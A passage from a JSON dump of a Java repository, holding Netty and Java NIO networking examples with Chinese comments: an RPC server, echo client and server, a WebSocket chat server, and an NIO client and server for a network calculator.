    "content": "package com.jun.base.io.netty.rpc.server;\n\nimport com.jun.base.io.netty.rpc.*;\nimport com.jun.base.io.netty.rpc.common.IMessageHandler;\n\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.*;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\nimport io.netty.handler.timeout.ReadTimeoutHandler;\n\npublic class RPCServer {\n    private String ip;\n    private int port;\n    private int ioThreads; // 用来处理网络流的读写线程\n    private int workerThreads; // 用于业务处理的计算线程\n\n    public RPCServer(String ip, int port, int ioThreads, int workerThreads) {\n        this.ip = ip;\n        this.port = port;\n        this.ioThreads = ioThreads;\n        this.workerThreads = workerThreads;\n    }\n\n    private ServerBootstrap bootstrap;\n    private EventLoopGroup group;\n    private MessageCollector collector;\n    private Channel serverChannel;\n\n    // 注册服务的快捷方式\n    public RPCServer service(String type, Class<?> reqClass, IMessageHandler<?> handler) {\n        MessageRegistry.register(type, reqClass);\n        MessageHandlers.register(type, handler);\n        return this;\n    }\n    // 启动RPC服务\n    public void start() {\n        bootstrap = new ServerBootstrap();\n        group = new NioEventLoopGroup(ioThreads);\n        bootstrap.group(group);\n        collector = new MessageCollector(workerThreads);\n        MessageEncoder encoder = new MessageEncoder();\n        bootstrap.channel(NioServerSocketChannel.class).childHandler(new ChannelInitializer<SocketChannel>() {\n            @Override\n            public void initChannel(SocketChannel ch) throws Exception {\n                ChannelPipeline pipe = ch.pipeline();\n                // 如果客户端60秒没有任何请求，就关闭客户端链接\n                pipe.addLast(new ReadTimeoutHandler(60));\n                // 挂上解码器\n                pipe.addLast(new MessageDecoder());\n                // 挂上编码器\n                pipe.addLast(encoder);\n                // 将业务处理器放在最后\n                pipe.addLast(collector);\n            }\n        });\n        bootstrap.option(ChannelOption.SO_BACKLOG, 100)  // 客户端套件字接受队列大小\n                .option(ChannelOption.SO_REUSEADDR, true) // reuse addr，避免端口冲突\n                .option(ChannelOption.TCP_NODELAY, true) // 关闭小流合并，保证消息的及时性\n                .childOption(ChannelOption.SO_KEEPALIVE, true); // 长时间没动静的链接自动关闭\n        serverChannel = bootstrap.bind(this.ip, this.port).channel();\n        System.out.printf(\"server started @ %s:%d\\n\", ip, port);\n    }\n    public void stop() {\n        // 先关闭服务端套件字\n        serverChannel.close();\n        // 再斩断消息来源，停止io线程池\n        group.shutdownGracefully();\n        // 最后停止业务线程\n        collector.closeGracefully();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/test1/EchoClient.java",
    "content": "package com.jun.base.io.netty.test1;\n\nimport io.netty.bootstrap.Bootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioSocketChannel;\n\nimport java.net.InetSocketAddress;\n\npublic class EchoClient {\n    private final String host;\n    private final int port;\n\n    public EchoClient(String host, int port) {\n        this.host = host;\n        this.port = port;\n    }\n\n    public void start() throws InterruptedException {\n        EventLoopGroup group = new NioEventLoopGroup();\n        try{\n            Bootstrap b = new Bootstrap(); //1 创建 Bootstrap\n            b.group(group)//2 指定 EventLoopGroup 来处理客户端事件。由于我们使用 NIO 传输，所以用到了 NioEventLoopGroup 的实现\n                    .channel(NioSocketChannel.class)//3使用的 channel 类型是一个用于 NIO 传输\n                    .remoteAddress(new InetSocketAddress(host,port))//4设置服务器的 InetSocketAddress\n                    .handler(new ChannelInitializer<SocketChannel>() {//5当建立一个连接和一个新的通道时，创建添加到 EchoClientHandler 实例 到 channel pipeline\n                        @Override\n                        protected void initChannel(SocketChannel ch) throws Exception {\n                            ch.pipeline().addLast(new EchoClientHandler());\n                        }\n                    });\n\n            ChannelFuture f = b.connect().sync();//6连接到远程;等待连接完成\n\n            f.channel().closeFuture().sync();//7阻塞直到 Channel 关闭\n\n\n        }finally {\n            group.shutdownGracefully().sync();//8调用 shutdownGracefully() 来关闭线程池和释放所有资源\n        }\n\n\n    }\n\n    public static void main(String[] args) throws InterruptedException {\n        if(args.length != 2){\n            System.err.println(\"Usage:\" + EchoClient.class.getSimpleName()+\"<host> <port>\");\n            return;\n        }\n\n        final String host = args[0];\n        final int port = Integer.parseInt(args[1]);\n        new EchoClient(host,port).start();\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/test1/EchoClientHandler.java",
    "content": "package com.jun.base.io.netty.test1;\n\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.ChannelHandler;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.SimpleChannelInboundHandler;\nimport io.netty.util.CharsetUtil;\n\nimport java.nio.charset.Charset;\n\n//@Sharable标记这个类的实例可以在 channel 里共享\n@ChannelHandler.Sharable\npublic class EchoClientHandler extends SimpleChannelInboundHandler<ByteBuf>{\n\n    /**\n     * 建立连接后该 channelActive() 方法被调用一次\n     * @param ctx\n     * @throws Exception\n     */\n    @Override\n    public void channelActive(ChannelHandlerContext ctx) throws Exception {\n        //当被通知该 channel 是活动的时候就发送信息\n        ctx.writeAndFlush(Unpooled.copiedBuffer(\"Netty rocks! \", CharsetUtil.UTF_8));\n    }\n\n    @Override\n    protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) throws Exception {\n        //记录接收到的消息\n        System.out.println(\"Client received : \" + msg.toString(CharsetUtil.UTF_8));\n    }\n\n\n    @Override\n    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {\n        //记录日志错误并关闭 channel\n        cause.printStackTrace();;\n        ctx.close();\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/test1/EchoServer.java",
    "content": "package com.jun.base.io.netty.test1;\n\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\nimport io.netty.handler.logging.LoggingHandler;\n\nimport java.net.InetSocketAddress;\n\npublic class EchoServer {\n\n    private final int port ;\n    public EchoServer(int port) {\n        this.port = port;\n    }\n\n    public static void main(String[] args) throws Exception {\n        if(args.length !=1){\n            System.err.println(\"Usage:\"+EchoServer.class.getSimpleName()+\"<port>\");\n            return;\n        }\n\n        int port =Integer.parseInt(args[0]);//设置端口值（抛出一个 NumberFormatException 如果该端口参数的格式不正确）\n        new EchoServer(port).start();//呼叫服务器的 start() 方法\n    }\n\n    public void start() throws Exception {\n\n        NioEventLoopGroup group = new NioEventLoopGroup();//创建 EventLoopGroup\n\n        try{\n            ServerBootstrap b = new ServerBootstrap();\n\n            b.group(group)//创建 ServerBootstrap\n                    .channel(NioServerSocketChannel.class)//指定使用 NIO 的传输 Channel\n                    .localAddress(new InetSocketAddress(port))//设置 socket 地址使用所选的端口\n                    .childHandler(new ChannelInitializer<SocketChannel>() { //添加 EchoServerHandler 到 Channel 的 ChannelPipeline\n                        @Override\n                        protected void initChannel(SocketChannel ch) throws Exception {\n                            ch.pipeline().addLast(new EchoServerHandler());\n                        }\n                    });\n\n            ChannelFuture f = b.bind().sync();//绑定的服务器;sync 等待服务器关闭\n            System.out.println(EchoServer.class.getName() + \" started and listen on \" + f.channel().localAddress());\n            f.channel().closeFuture().sync();            //关闭 channel 和 块，直到它被关闭\n        }finally {\n            group.shutdownGracefully().sync();            //关闭 EventLoopGroup，释放所有资源\n        }\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/test1/EchoServerHandler.java",
    "content": "package com.jun.base.io.netty.test1;\n\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.ChannelFutureListener;\nimport io.netty.channel.ChannelHandler;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;\n\n\nimport java.nio.ByteBuffer;\n\n\n\n\n/**\n *\n * 一个服务器handler,这个组件实现了服务器的业务逻辑。决定了连接创建后和接收到信息后该如何处理\n *\n */\n@ChannelHandler.Sharable  //@Sharable 标识这类的实例之间可以在 channel 里面共享\npublic class EchoServerHandler extends ChannelInboundHandlerAdapter{\n\n    /**\n     * 每个信息入站都会调用\n     * @param ctx\n     * @param msg\n     * @throws Exception\n     */\n    @Override\n    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n\n\n        ByteBuffer in = (ByteBuffer)msg;\n        System.out.println(\"Server received: \" + in.toString()); //日志消息输出到控制台\n        ctx.write(in);//将所接收的消息返回给发送者。注意，这还没有冲刷数据\n    }\n\n    /**\n     * 通知处理器最后的changeRead()完成调用\n     * @param ctx\n     * @throws Exception\n     */\n    @Override\n    public void channelReadComplete(ChannelHandlerContext ctx) throws Exception {\n\n        ctx.writeAndFlush(Unpooled.EMPTY_BUFFER)//冲刷所有待审消息到远程节点。关闭通道后，操作完成\n                .addListener(ChannelFutureListener.CLOSE);\n\n\n\n    }\n\n    /**\n     * 读操作时捕捉的异常调用\n     * @param ctx\n     * @param cause\n     * @throws Exception\n     */\n    @Override\n    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {\n\n        cause.printStackTrace();//打印异常堆栈跟踪\n        ctx.close();//关闭通道\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/webSocketChat/HttpRequestHandler.java",
    "content": "package com.jun.base.io.netty.webSocketChat;\n\nimport io.netty.channel.*;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.ssl.SslHandler;\nimport io.netty.handler.stream.ChunkedNioFile;\n\nimport java.io.File;\nimport java.io.RandomAccessFile;\nimport java.net.URISyntaxException;\nimport java.net.URL;\n\npublic class HttpRequestHandler extends SimpleChannelInboundHandler<FullHttpRequest> { //1\n    private final String wsUri;\n    private static final File INDEX;\n\n    static {\n        URL location = HttpRequestHandler.class.getProtectionDomain().getCodeSource().getLocation();\n        try {\n            String path = location.toURI() + \"WebsocketChatClient.html\";\n            path = !path.contains(\"file:\") ? path : path.substring(5);\n            INDEX = new File(path);\n        } catch (URISyntaxException e) {\n            throw new IllegalStateException(\"Unable to locate WebsocketChatClient.html\", e);\n        }\n    }\n\n    public HttpRequestHandler(String wsUri) {\n        this.wsUri = wsUri;\n    }\n\n    @Override\n    public void channelRead0(ChannelHandlerContext ctx, FullHttpRequest request) throws Exception {\n        if (wsUri.equalsIgnoreCase(request.getUri())) {\n            ctx.fireChannelRead(request.retain());                  //2\n        } else {\n            if (HttpHeaders.is100ContinueExpected(request)) {\n                send100Continue(ctx);                               //3\n            }\n\n            RandomAccessFile file = new RandomAccessFile(INDEX, \"r\");//4\n\n            HttpResponse response = new DefaultHttpResponse(request.getProtocolVersion(), HttpResponseStatus.OK);\n            response.headers().set(HttpHeaders.Names.CONTENT_TYPE, \"text/html; charset=UTF-8\");\n\n            boolean keepAlive = HttpHeaders.isKeepAlive(request);\n\n            if (keepAlive) {                                        //5\n                response.headers().set(HttpHeaders.Names.CONTENT_LENGTH, file.length());\n                response.headers().set(HttpHeaders.Names.CONNECTION, HttpHeaders.Values.KEEP_ALIVE);\n            }\n            ctx.write(response);                    //6\n\n            if (ctx.pipeline().get(SslHandler.class) == null) {     //7\n                ctx.write(new DefaultFileRegion(file.getChannel(), 0, file.length()));\n            } else {\n                ctx.write(new ChunkedNioFile(file.getChannel()));\n            }\n            ChannelFuture future = ctx.writeAndFlush(LastHttpContent.EMPTY_LAST_CONTENT);           //8\n            if (!keepAlive) {\n                future.addListener(ChannelFutureListener.CLOSE);        //9\n            }\n\n            file.close();\n        }\n    }\n\n    private static void send100Continue(ChannelHandlerContext ctx) {\n        FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.CONTINUE);\n        ctx.writeAndFlush(response);\n    }\n\n    @Override\n    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause)\n            throws Exception {\n        Channel incoming = ctx.channel();\n        System.out.println(\"Client:\"+incoming.remoteAddress()+\"异常\");\n        // 当出现异常就关闭连接\n        cause.printStackTrace();\n        ctx.close();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/webSocketChat/TextWebSocketFrameHandler.java",
    "content": "package com.jun.base.io.netty.webSocketChat;\n\nimport io.netty.channel.Channel;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.SimpleChannelInboundHandler;\nimport io.netty.channel.group.ChannelGroup;\nimport io.netty.channel.group.DefaultChannelGroup;\nimport io.netty.handler.codec.http.websocketx.TextWebSocketFrame;\nimport io.netty.util.concurrent.GlobalEventExecutor;\n\npublic class TextWebSocketFrameHandler extends\n        SimpleChannelInboundHandler<TextWebSocketFrame> {\n\n    public static ChannelGroup channels = new DefaultChannelGroup(GlobalEventExecutor.INSTANCE);\n\n    @Override\n    protected void channelRead0(ChannelHandlerContext ctx,\n                                TextWebSocketFrame msg) throws Exception { // (1)\n        Channel incoming = ctx.channel();\n        for (Channel channel : channels) {\n            if (channel != incoming){\n                channel.writeAndFlush(new TextWebSocketFrame(\"[\" + incoming.remoteAddress() + \"]\" + msg.text()));\n            } else {\n                channel.writeAndFlush(new TextWebSocketFrame(\"[you]\" + msg.text() ));\n            }\n        }\n    }\n\n    @Override\n    public void handlerAdded(ChannelHandlerContext ctx) throws Exception {  // (2)\n        Channel incoming = ctx.channel();\n\n        // Broadcast a message to multiple Channels\n        channels.writeAndFlush(new TextWebSocketFrame(\"[SERVER] - \" + incoming.remoteAddress() + \" 加入\"));\n\n        channels.add(incoming);\n        System.out.println(\"Client:\"+incoming.remoteAddress() +\"加入\");\n    }\n\n    @Override\n    public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {  // (3)\n        Channel incoming = ctx.channel();\n\n        // Broadcast a message to multiple Channels\n        channels.writeAndFlush(new TextWebSocketFrame(\"[SERVER] - \" + incoming.remoteAddress() + \" 离开\"));\n\n        System.out.println(\"Client:\"+incoming.remoteAddress() +\"离开\");\n\n        // A closed Channel is automatically removed from ChannelGroup,\n        // so there is no need to do \"channels.remove(ctx.channel());\"\n    }\n\n    @Override\n    public void channelActive(ChannelHandlerContext ctx) throws Exception { // (5)\n        Channel incoming = ctx.channel();\n        System.out.println(\"Client:\"+incoming.remoteAddress()+\"在线\");\n    }\n\n    @Override\n    public void channelInactive(ChannelHandlerContext ctx) throws Exception { // (6)\n        Channel incoming = ctx.channel();\n        System.out.println(\"Client:\"+incoming.remoteAddress()+\"掉线\");\n    }\n\n    @Override\n    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause)\n            throws Exception {\n        Channel incoming = ctx.channel();\n        System.out.println(\"Client:\"+incoming.remoteAddress()+\"异常\");\n        // 当出现异常就关闭连接\n        cause.printStackTrace();\n        ctx.close();\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/webSocketChat/WebsocketChatServer.java",
    "content": "package com.jun.base.io.netty.webSocketChat;\n\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\n\npublic class WebsocketChatServer {\n\n    private int port;\n\n    public WebsocketChatServer(int port) {\n        this.port = port;\n    }\n\n    public void run() throws Exception {\n\n        EventLoopGroup bossGroup = new NioEventLoopGroup(); // (1)\n        EventLoopGroup workerGroup = new NioEventLoopGroup();\n        try {\n            ServerBootstrap b = new ServerBootstrap(); // (2)\n            b.group(bossGroup, workerGroup)\n                    .channel(NioServerSocketChannel.class) // (3)\n                    .childHandler(new WebsocketChatServerInitializer())  //(4)\n                    .option(ChannelOption.SO_BACKLOG, 128)          // (5)\n                    .childOption(ChannelOption.SO_KEEPALIVE, true); // (6)\n\n            System.out.println(\"WebsocketChatServer 启动了\");\n\n            // 绑定端口，开始接收进来的连接\n            ChannelFuture f = b.bind(port).sync(); // (7)\n\n            // 等待服务器  socket 关闭 。\n            // 在这个例子中，这不会发生，但你可以优雅地关闭你的服务器。\n            f.channel().closeFuture().sync();\n\n        } finally {\n            workerGroup.shutdownGracefully();\n            bossGroup.shutdownGracefully();\n\n            System.out.println(\"WebsocketChatServer 关闭了\");\n        }\n    }\n\n    /*\n        来源：\n        https://waylau.com/netty-websocket-chat/\n     */\n    public static void main(String[] args) throws Exception {\n        int port;\n        if (args.length > 0) {\n            port = Integer.parseInt(args[0]);\n        } else {\n            port = 8080;\n        }\n        new WebsocketChatServer(port).run();\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/webSocketChat/WebsocketChatServerInitializer.java",
    "content": "package com.jun.base.io.netty.webSocketChat;\n\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.handler.codec.http.HttpObjectAggregator;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.websocketx.WebSocketServerProtocolHandler;\nimport io.netty.handler.stream.ChunkedWriteHandler;\n\npublic class WebsocketChatServerInitializer extends\n        ChannelInitializer<SocketChannel> {\t//1\n\n    @Override\n    public void initChannel(SocketChannel ch) throws Exception {//2\n        ChannelPipeline pipeline = ch.pipeline();\n\n        pipeline.addLast(new HttpServerCodec());\n        pipeline.addLast(new HttpObjectAggregator(64*1024));\n        pipeline.addLast(new ChunkedWriteHandler());\n        pipeline.addLast(new HttpRequestHandler(\"/ws\"));\n        pipeline.addLast(new WebSocketServerProtocolHandler(\"/ws\"));\n        pipeline.addLast(new TextWebSocketFrameHandler());\n\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/nio/Client.java",
    "content": "package com.jun.base.io.nio;\n\n\npublic class Client {\n    private static String DEFAULT_HOST = \"127.0.0.1\";\n    private static int DEFAULT_PORT = 12345;\n    private static ClientHandle clientHandle;\n    public static void start(){\n        start(DEFAULT_HOST,DEFAULT_PORT);\n    }\n    public static  void start(String ip,int port){\n        if(clientHandle!=null)\n            clientHandle.stop();\n        clientHandle = new ClientHandle(ip,port);\n        new Thread(clientHandle,\"Server\").start();\n    }\n    //向服务器发送消息\n    public static boolean sendMsg(String msg) throws Exception{\n        if(msg.equals(\"q\")) return false;\n        clientHandle.sendMsg(msg);\n        return true;\n    }\n    public static void main(String[] args){\n        start();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/nio/ClientHandle.java",
    "content": "package com.jun.base.io.nio;\n\nimport java.io.IOException;\nimport java.net.InetSocketAddress;\nimport java.nio.ByteBuffer;\nimport java.nio.channels.SelectionKey;\nimport java.nio.channels.Selector;\nimport java.nio.channels.SocketChannel;\nimport java.util.Iterator;\nimport java.util.Set;\n/**\n * NIO客户端\n * @author Wujun\n * @version 1.0\n */\npublic class ClientHandle implements Runnable{\n    private String host;\n    private int port;\n    private Selector selector;\n    private SocketChannel socketChannel;\n    private volatile boolean started;\n\n    public ClientHandle(String ip,int port) {\n        this.host = ip;\n        this.port = port;\n        try{\n            //创建选择器\n            selector = Selector.open();\n            //打开监听通道\n            socketChannel = SocketChannel.open();\n            //如果为 true，则此通道将被置于阻塞模式；如果为 false，则此通道将被置于非阻塞模式\n            socketChannel.configureBlocking(false);//开启非阻塞模式\n            started = true;\n        }catch(IOException e){\n            e.printStackTrace();\n            System.exit(1);\n        }\n    }\n    public void stop(){\n        started = false;\n    }\n    @Override\n    public void run() {\n        try{\n            doConnect();\n        }catch(IOException e){\n            e.printStackTrace();\n            System.exit(1);\n        }\n        //循环遍历selector\n        while(started){\n            try{\n                //无论是否有读写事件发生，selector每隔1s被唤醒一次\n                selector.select(1000);\n                //阻塞,只有当至少一个注册的事件发生的时候才会继续.\n//\t\t\t\tselector.select();\n                Set<SelectionKey> keys = selector.selectedKeys();\n                Iterator<SelectionKey> it = keys.iterator();\n                SelectionKey key = null;\n                while(it.hasNext()){\n                    key = it.next();\n                    it.remove();\n                    try{\n                        handleInput(key);\n                    }catch(Exception e){\n                        if(key != null){\n                            key.cancel();\n                            if(key.channel() != null){\n                                key.channel().close();\n                            }\n                        }\n                    }\n                }\n            }catch(Exception e){\n                e.printStackTrace();\n                System.exit(1);\n            }\n        }\n        //selector关闭后会自动释放里面管理的资源\n        if(selector != null)\n            try{\n                selector.close();\n            }catch (Exception e) {\n                e.printStackTrace();\n            }\n    }\n    private void handleInput(SelectionKey key) throws IOException{\n        if(key.isValid()){\n            SocketChannel sc = (SocketChannel) key.channel();\n            if(key.isConnectable()){\n                if(sc.finishConnect());\n                else System.exit(1);\n            }\n            //读消息\n            if(key.isReadable()){\n                //创建ByteBuffer，并开辟一个1M的缓冲区\n                ByteBuffer buffer = ByteBuffer.allocate(1024);\n                //读取请求码流，返回读取到的字节数\n                int readBytes = sc.read(buffer);\n                //读取到字节，对字节进行编解码\n                if(readBytes>0){\n                    //将缓冲区当前的limit设置为position=0，用于后续对缓冲区的读取操作\n                    buffer.flip();\n                    //根据缓冲区可读字节数创建字节数组\n                    byte[] bytes = new byte[buffer.remaining()];\n                    //将缓冲区可读字节数组复制到新建的数组中\n                    buffer.get(bytes);\n                    String result = new String(bytes,\"UTF-8\");\n                    System.out.println(\"客户端收到消息：\" + result);\n                }\n                //没有读取到字节 忽略\n//\t\t\t\telse if(readBytes==0);\n                //链路已经关闭，释放资源\n                else if(readBytes<0){\n                    key.cancel();\n                    sc.close();\n                }\n            }\n        }\n    }\n    //异步发送消息\n    private void doWrite(SocketChannel channel,String request) throws IOException{\n        //将消息编码为字节数组\n        byte[] bytes = request.getBytes();\n        //根据数组容量创建ByteBuffer\n        ByteBuffer writeBuffer = ByteBuffer.allocate(bytes.length);\n        //将字节数组复制到缓冲区\n        writeBuffer.put(bytes);\n        //flip操作\n        writeBuffer.flip();\n        //发送缓冲区的字节数组\n        channel.write(writeBuffer);\n        //****此处不含处理“写半包”的代码\n    }\n    private void doConnect() throws IOException{\n        if(socketChannel.connect(new InetSocketAddress(host,port)));\n        else socketChannel.register(selector, SelectionKey.OP_CONNECT);\n    }\n    public void sendMsg(String msg) throws Exception{\n        socketChannel.register(selector, SelectionKey.OP_READ);\n        doWrite(socketChannel, msg);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/nio/Server.java",
    "content": "package com.jun.base.io.nio;\n\npublic class Server {\n    private static int DEFAULT_PORT = 12345;\n    private static ServerHandle serverHandle;\n    public static void start(){\n        start(DEFAULT_PORT);\n    }\n    public static synchronized void start(int port){\n        if(serverHandle!=null)\n            serverHandle.stop();\n        serverHandle = new ServerHandle(port);\n        new Thread(serverHandle,\"Server\").start();\n    }\n    public static void main(String[] args){\n        start();\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/nio/ServerHandle.java",
    "content": "package com.jun.base.io.nio;\n\n\nimport java.io.IOException;\nimport java.net.InetSocketAddress;\nimport java.nio.ByteBuffer;\nimport java.nio.channels.SelectionKey;\nimport java.nio.channels.Selector;\nimport java.nio.channels.ServerSocketChannel;\nimport java.nio.channels.SocketChannel;\nimport java.util.Iterator;\nimport java.util.Set;\n\nimport com.jun.base.io.bio.Calculator;\n\n/**\n * NIO服务端\n * @author Wujun\n * @version 1.0\n */\npublic class ServerHandle implements Runnable{\n    private Selector selector;\n    private ServerSocketChannel serverChannel;\n    private volatile boolean started;\n    /**\n     * 构造方法\n     * @param port 指定要监听的端口号\n     */\n    public ServerHandle(int port) {\n        try{\n            //创建选择器\n            selector = Selector.open();\n            //打开监听通道\n            serverChannel = ServerSocketChannel.open();\n            //如果为 true，则此通道将被置于阻塞模式；如果为 false，则此通道将被置于非阻塞模式\n            serverChannel.configureBlocking(false);//开启非阻塞模式\n            //绑定端口 backlog设为1024\n            serverChannel.socket().bind(new InetSocketAddress(port),1024);\n            //监听客户端连接请求\n            serverChannel.register(selector, SelectionKey.OP_ACCEPT);\n            //标记服务器已开启\n            started = true;\n            System.out.println(\"服务器已启动，端口号：\" + port);\n        }catch(IOException e){\n            e.printStackTrace();\n            System.exit(1);\n        }\n    }\n    public void stop(){\n        started = false;\n    }\n    @Override\n    public void run() {\n        //循环遍历selector\n        while(started){\n            try{\n                //无论是否有读写事件发生，selector每隔1s被唤醒一次\n                selector.select(2*1000);\n                //阻塞,只有当至少一个注册的事件发生的时候才会继续.\n//\t\t\t\tselector.select();\n                Set<SelectionKey> keys = selector.selectedKeys();\n                System.out.println(\"keys ==\" +keys.size());\n                Iterator<SelectionKey> it = keys.iterator();\n                SelectionKey key = null;\n                while(it.hasNext()){\n                    key = it.next();\n                    it.remove();\n                    try{\n                       handleInput(key);\n\n\n\n\n                    }catch(Exception e){\n                        if(key != null){\n                            key.cancel();\n                            if(key.channel() != null){\n                                key.channel().close();\n                            }\n                        }\n                    }\n                }\n            }catch(Throwable t){\n                t.printStackTrace();\n            }\n        }\n        //selector关闭后会自动释放里面管理的资源\n        if(selector != null)\n            try{\n                selector.close();\n            }catch (Exception e) {\n                e.printStackTrace();\n            }\n    }\n    private void handleInput(SelectionKey key) throws IOException{\n\n        if(key.isValid()){\n            //处理新接入的请求消息\n            if(key.isAcceptable()){\n                ServerSocketChannel ssc = (ServerSocketChannel) key.channel();\n                //通过ServerSocketChannel的accept创建SocketChannel实例\n                //完成该操作意味着完成TCP三次握手，TCP物理链路正式建立\n                SocketChannel sc = ssc.accept();\n                //设置为非阻塞的\n                sc.configureBlocking(false);\n                //注册为读\n                sc.register(selector, SelectionKey.OP_READ);\n            }\n            //读消息\n            if(key.isReadable()){\n                SocketChannel sc = (SocketChannel) key.channel();\n                //创建ByteBuffer，并开辟一个1M的缓冲区\n                ByteBuffer buffer = ByteBuffer.allocate(1024);\n\n                //读取请求码流，返回读取到的字节数\n                int readBytes = sc.read(buffer);\n                //读取到字节，对字节进行编解码\n                if(readBytes>0){\n                    //将缓冲区当前的limit设置为position=0，用于后续对缓冲区的读取操作\n                    buffer.flip();\n                    //根据缓冲区可读字节数创建字节数组\n                    byte[] bytes = new byte[buffer.remaining()];\n                    //将缓冲区可读字节数组复制到新建的数组中\n                    buffer.get(bytes);\n                    String expression = new String(bytes,\"UTF-8\");\n                    System.out.println(\"服务器收到消息：\" + expression);\n                    //处理数据\n                    String result = null;\n                    try{\n                        System.err.println(\"接受到：\"+expression);\n                        result = Calculator.cal(expression).toString();\n                    }catch(Exception e){\n                        result = \"计算错误：\" + e.getMessage();\n                    }\n                    //发送应答消息\n                    doWrite(sc,result);\n                }\n                //没有读取到字节 忽略\n//\t\t\t\telse if(readBytes==0);\n                //链路已经关闭，释放资源\n                else if(readBytes<0){\n                    key.cancel();\n                    sc.close();\n                }\n            }\n        }\n    }\n    //异步发送应答消息\n    private void doWrite(SocketChannel channel,String response) throws IOException{\n        //将消息编码为字节数组\n        byte[] bytes = response.getBytes();\n        //根据数组容量创建ByteBuffer\n        ByteBuffer writeBuffer = ByteBuffer.allocate(bytes.length);\n        //将字节数组复制到缓冲区\n        writeBuffer.put(bytes);\n        //flip操作\n        writeBuffer.flip();\n        //发送缓冲区的字节数组\n        channel.write(writeBuffer);\n        //****此处不含处理“写半包”的代码\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/nio/Test.java",
    "content": "package com.jun.base.io.nio;\n\n\nimport java.util.Scanner;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n\n/**\n * 测试方法\n * @author Wujun\n * @version 1.0\n */\npublic class Test {\n    //测试主方法\n    @SuppressWarnings(\"resource\")\n    public static void main(String[] args) throws Exception{\n        //运行服务器\n        Server.start();\n        //避免客户端先于服务器启动前执行代码\n        //Thread.sleep(3000);\n        //System.out.println(\"运行客户端\");\n        //运行客户端\n        //Client.start();\n\n       // while(Client.sendMsg(new Scanner(System.in).nextLine()));\n//        Thread.sleep(3000);\n//        System.out.println(\"向服务器发送：\");\n        //cliens();\n        //Client.sendMsg(\"1+1\");\n        /*for(int i = 0; i <100; i++){\n\n            Client.sendMsg(\"0001+\"+i);\n        }*/\n\n\n    }\n\n    public static void cliens() {\n        ExecutorService fixedThreadPool = Executors.newFixedThreadPool(1);\n\n\n        for(int i = 0; i <=2; i++){\n\n            final int j = i;\n            fixedThreadPool.execute(new Runnable() {\n\n                @Override\n                public void run() {\n                    try {\n\n                        Client.sendMsg(\"1+\"+j);\n                        Thread.sleep(1);\n\n                    } catch (Exception e) {\n                        // TODO Auto-generated catch block\n                        e.printStackTrace();\n                    }\n                }\n            });\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/nio/TestClient.java",
